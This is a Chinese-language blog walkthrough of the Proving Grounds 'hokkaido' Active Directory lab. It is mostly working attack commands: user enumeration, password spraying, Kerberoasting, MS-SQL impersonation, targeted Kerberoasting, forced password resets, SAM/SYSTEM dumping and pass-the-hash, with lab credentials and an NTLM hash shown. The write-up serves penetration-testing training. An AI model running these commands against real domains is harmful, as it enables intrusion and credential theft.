Proving Grounds Practice : hokkaido Walkthrough
Proving Grounds Practice : hokkaido Walkthrough
Foothole (立足點 ) :
- 枚舉 SMB、LDAP、網站等都沒有發現
- 因為這是一台 DC,使用 Kerbrute 枚舉帳號,發現四個網域帳號
- 編輯帳號密碼表,噴灑後發現一組有效憑證
- 使用第一組有效憑證在 SMB 發現其他使用者帳號,與一個 txt 檔案中記錄著密碼
- 繼續密碼噴灑後發現第二組憑證,這一組憑證透過 Kerberoasting 也可以破解出來
- 第二組憑證可以登入 MS-SQL 但沒有任何權限,使用 IMPERSONNATE 發現另一組帳號
- 切換 MS-SQL 的 IMPERSONNATE 的帳號後讀取特定資料庫獲取第三組憑證
- 第三組憑證對某個特定 AD 帳號有 GenericWrite 的權限,參考 Help 利用後讀取到 HASH
- 破解 Kerberoasting 後獲取第四組憑證,第四組憑證對某特定 AD 帳號有 ForceChangePassword 的權限
- 一樣參考 HELP 後透過 RPC 修改特定使用者密碼,獲得第五組憑證
- 第五組憑證可以 RDP 進入到伺服器
PE ( 提權 ) :
- whoami /priv 發現 SeBackupPrivilege 權限
- 標準利用 SAM、SYSTEM 後獲取 Administrator 帳號的 HASH
- evil-winrm 進入為管理者
注意事項 :
- 橫向移動的極致表現與枚舉
- 學習 MS-SQL 的 IMPERSONNATE 利用
- GenericWrite 的利用去獲取 Kerberoasting 的值
- ForceChangePassword 的標準利用
- 不同帳號跑出來的 BloodHound 可以看到的結果不太一樣
- 即便不是 Administrators 群組,在 DC 啟動 cmd 也要注意 run as Administrator 才有權限
第一步 Rustscan,└─$ rustscan -a 192.168.183.40 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.183.40 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 53,80,88,135,139,389,445,464,593,636,1433,5985,9389,3268,3269,3389,8530,8531,49664,49665,49666,49667,49668,49671,49675,49685,49684,49691,49700,49701,49712,47001,58538 192.168.183.40 | tee nmap
Domain Name : HAERO
機器名稱 : DC
網域名稱 : hokkaido-aerospace.com
80/tcp open http Microsoft IIS httpd 10.0
389/tcp open ldap Microsoft Windows Active Directory LDAP
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
8530/tcp open http Microsoft IIS httpd 10.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
58538/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
enum4linux,└─$ enum4linux -a 192.168.183.40 | tee enum4linux
沒有驗證,share 枚舉不到任何東西
nmap with LDAP scrtpt,└─$ sudo nmap -n -sV -Pn --script ldap-search.nse 192.168.183.40 | tee ldap-nmap
nmap with LDAP,└─$ nmap --script "ldap* and not brute" 192.168.183.40 -p 389 -v -Pn -sT | tee nmap-ldap
LDAP Search,ldapsearch -v -x -b "DC=hokkaido-aerospace,DC=com" -H "ldap://192.168.183.40" "(objectclass=*)"
80 /
gobuster 80,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.183.40 -c -t 150 -x txt,pdf,git,aspx | tee gobuster
8530 /
gobuster 8530
80 & 8530 相關 URI 繼續 gobuster 都沒有發現
後續使用 kerbrute,參考 : https://github.com/ropnop/kerbrute 列舉使用者看看
使用者枚舉,└─$ ./kerbrute_linux_amd64 userenum -d hokkaido-aerospace.com --dc 192.168.183.40 names.txt
編輯簡易的帳號密碼檔測試看看,└─$ crackmapexec smb 192.168.183.40 -u ./usernames.txt -p ./passwords.txt -d 'hokkaido-aerospace.com' --continue-on-success
SMB 列舉看看,└─$ smbclient -L //192.168.183.40 -U "hokkaido-aerospace.com/info" --password="info"
登入後發現是一堆使用者帳號的資料夾
另外在 \\NETLOGON\temp 底下有個 password_reset.txt 的檔案
抓回來看一下,看來像是 AD 網域使用者的 Default Password,Start123!
再次編輯好使用者清單測試該密碼試試看,└─$ crackmapexec smb 192.168.183.40 -u ./usernames.txt -p 'Start123!' -d 'hokkaido-aerospace.com' --continue-on-success
測試 winrm 無法登入
SMB 確認沒有發現新的分享,跟 info 帳號看到的一樣
└─$ smbclient -L //192.168.183.40 -U "hokkaido-aerospace.com/discovery" --password='Start123!'
AS-REP Roasting 測試看看,impacket-GetUserSPNs -dc-ip 192.168.183.40 hokkaido-aerospace.com/discovery:Start123! -request
發現兩組帳號 discovery、maintenance
存下來後破解看看,└─$ hashcat -m 13100 discovery.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
嘗試另外一個 HASH,└─$ hashcat -m 13100 maintenance.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
後續測試可以登入 MSSQL,impacket-mssqlclient 'hokkaido-aerospace.com/discovery':'Start123!'@192.168.183.40 -dc-ip 192.168.183.40 -windows-auth
開始標準作業 EXECUTE sp_configure 'show advanced options', 1;
結果沒有權限 GG
查看一下資料庫,SELECT name FROM sys.databases;
共有 5 個,前四個是預設的,第五個 hrappdb 是非預設的
列舉該 DB 相關的 Tables ,SELECT * FROM hrappdb.information_schema.tables; 發現 GG 沒有權限
即便簡單的使用 use hrappdb; 都顯示沒有權限
參考這一篇 : https://github.com/SofianeHamlaoui/Pentest-Notes/blob/master/Security_cheatsheets/databases/sqlserver/4-privilage-escalation.md
查找看看有無 Impersonatable 帳號
指令 : SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
發現一個帳號 hrappdb-reader,從名稱來看就是可以讀該 DB 的一個帳號
依據該參考,找到帳號後後續直接使用 Execute As 即可切換使用者
依樣畫葫蘆,使用看看 EXECUTE AS LOGIN = 'hrappdb-reader'
看來有成功切換,use hrappdb 也可以正常讀取
那就先查看 Tables
SELECT * FROM hrappdb.information_schema.tables;
Table 名稱是 sysauth
直接列舉該資料表欄位 select * from hrappdb.dbo.sysauth;
發現一組有效的憑證 hrapp-service:Untimed$Runny
測試一下帳號密碼,該帳號看來也是一組網域帳號,但一樣沒有 winrm 權限
BloodHound 發現該帳號對另外一個使用者帳號 hazel.green 有 GenericWrite 的權限
直接參考 Help 有告知使用方式
targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
使用的 targetedKerberoast.py 可以參考 https://github.com/ShutdownRepo/targetedKerberoast
跑跑看,targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.183.40
多獲得帳號 Hazel.Green 的 Kerberoasting HASH
破解看看,└─$ hashcat -m 13100 Hazel.Green.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
測試一下帳號密碼,看來是有用的,但一樣無法 winrm
查看 BloodHound 該使用者 hazel.green 隸屬 Tier2-Admins 群組
該群組對帳號 molly.smith 有 ForceChangePassword 的權限
該使用者又隸屬 Tier1-Admins 群組,看來一步一步接近核心了
查看 HELP 告知使用 RPC 的方式去 Reset Password
net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
測試看看,net rpc password "molly.smith" "Password123@" -U "hokkaido-aerospace.com"/"Hazel.Green"%"haze1988" -S 192.168.183.40
確認密碼有效已被重製,獲得新憑證 molly.smith:Password123@
但該帳號發現可以 RDP
直接 RDP 進入該靶機,└─$ xfreerdp /v:192.168.183.40 /u:'haero\molly.smith' /p:'Password123@' -drive:aries,/home/kali/pg/40-2
local.txt flag 在根目錄下
雖然 molly.smith 不是 Domain Admins 群組但是在 PE 時一樣要使用 Run As Administrator
去開啟 cmd 才會有相關權限,whoami /priv 發現 SeBackupPrivilege 權限
標準利用,將 SAM & SYSTEM COPY 出來
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
抓回 Kali Dump 看看,└─$ impacket-secretsdump -sam ./sam -system ./system LOCAL
獲得 administrator 的 NTLM HASH
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d752482897d54e239376fddb2a2109e4:::
impacket-psexec 進去會卡住,└─$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:d752482897d54e239376fddb2a2109e4 administrator@192.168.183.40
留言
張貼留言